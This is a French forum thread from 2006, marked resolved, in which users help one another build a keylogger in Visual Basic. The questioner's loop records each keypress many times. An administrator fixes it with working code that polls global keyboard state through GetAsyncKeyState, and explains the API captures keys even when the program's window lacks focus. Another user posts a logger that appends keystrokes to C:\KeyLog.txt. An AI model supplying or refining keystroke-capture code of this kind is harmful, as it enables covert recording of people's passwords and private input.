Api GetAsyncKeyState et GetKeyState [Résolu]

cs_moi4975
Messages postés
109
Date d'inscription
lundi 27 juin 2005
Dernière intervention
17 juillet 2007
- 1 juil. 2006 à 20:59 - Dernière réponse : troxsa
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Dernière intervention
2 octobre 2016
- 2 juil. 2006 à 19:10
Bonsoir à tous,

J'essaye de développer un Keylog grace au Api  GetAsyncKeyState et GetKeyState ! Il fonctionne correctement apart une problème que je n'arrive pas à solutionner ! Si je tape une fois la touche ' a ' il me renvoie cette chaine "aaaaaaaaa" et ça pour toute les lettres ! Qqun a-t'il une idee pour résoudre ce problème ? merci

Voila une partie de mon code :


Public Function Demarrer()
As
IntegerY =1

Do While Y = 1
Application.DoEvents()
Clavier

Loop
End Function




 


Private Sub Clavier()

   Dim x
As Integer









   For



x = 65

To
90


   If
(GetKeyState(x) < 0)

Then


         Application.DoEvents()


   I  f
(GetKeyState(10) < 0)

then


   Texte = Texte & chr(x)


   Else


   Texte = Texte & chr(x + 32)


   End if   End If

   Next

   End Sub
Afficher la suite 

Votre réponse

6 réponses

Meilleure réponse
Renfield
Messages postés
17308
Date d'inscription
mercredi 2 janvier 2002
Dernière intervention
22 août 2018
- 2 juil. 2006 à 03:36
3
Merci
En gros, il est passé pas mal de fois dans ta boucle alors que tu avait encore le doight appuuyé sur ta touche 'A'


regarde dans la doc, tu trouveras ta réponse...


Private Sub Clavier()

Dim x As Integer

    For x = 65 To 90

        If GetAsyncKeyState(x) And 1 Then

            Texte = Texte & Chr(x)

        End If

    Next

End Sub

Renfield
Admin CodeS-SourceS- MVP Visual Basic

Merci Renfield 3

Avec quelques mots c'est encore mieux Ajouter un commentaire

Codes Sources a aidé 94 internautes ce mois-ci

Commenter la réponse de Renfield
troxsa
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Dernière intervention
2 octobre 2016
- 2 juil. 2006 à 00:57
0
Merci
tu sais y pas besoin d'API pour faire ce genre de programme !
il y a les evenements dans l'environnement
personnelement peux te faire un keyloger en 5 lignes de code et sans API !

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005
Commenter la réponse de troxsa
PCPT
Messages postés
13368
Date d'inscription
lundi 13 décembre 2004
Dernière intervention
3 février 2018
- 2 juil. 2006 à 01:17
0
Merci
commentaire au moins aussi constructif que celui-ci.....

Prenez un instant pour répondre à ce sondage svp
Commenter la réponse de PCPT
troxsa
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Dernière intervention
2 octobre 2016
- 2 juil. 2006 à 10:28
0
Merci
Vodila ! l'idée est la maintenant a toi de géré les evenement comme il faut, j'ai testé et il te log bien tout comme il faut, sauf les touche special de type F1 F2 F3 .... ENTER ... il faut un peux plus de code pour arriver a ce genre de chose ...





mais pas besion d'API

Public



Sub

KeyLog(

ByVal

Ev

As




String



)






Dim
KeyWrite

As




New

StreamWriter(

"C:\KeyLog.txt"

,

True



)

KeyWrite.Write(Ev)



KeyWrite.Close()








End



Sub









Private



Sub

Form1_KeyPress(

ByVal

sender

As




Object

,

ByVal

e

As

System.Windows.Forms.KeyPressEventArgs)

Handles




Me



.KeyPress

KeyLog(e.KeyChar)








End



Sub
















http://www.troxsa.info/

Le site qui ne parle qu'un seul langage, visual basic 2005
Commenter la réponse de troxsa
Renfield
Messages postés
17308
Date d'inscription
mercredi 2 janvier 2002
Dernière intervention
22 août 2018
- 2 juil. 2006 à 11:33
0
Merci
TroXsA... ton truc est bien joli, mais il faut que la Form1 aies le Focus ^^


d'ou l'utilisation d'API, pour connaitre l'etat du clavier n'importe quand...

Renfield
Admin CodeS-SourceS- MVP Visual Basic
Commenter la réponse de Renfield
troxsa
Messages postés
553
Date d'inscription
jeudi 28 novembre 2002
Dernière intervention
2 octobre 2016
- 2 juil. 2006 à 19:10
0
Merci
Oui mais y a moyen qui traite les donnés sans avoir le focus il me semble !
je suis sur que ça doit etre possible

http://www.troxsa.info/
Le site qui ne parle qu'un seul langage, visual basic 2005
Commenter la réponse de troxsa

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.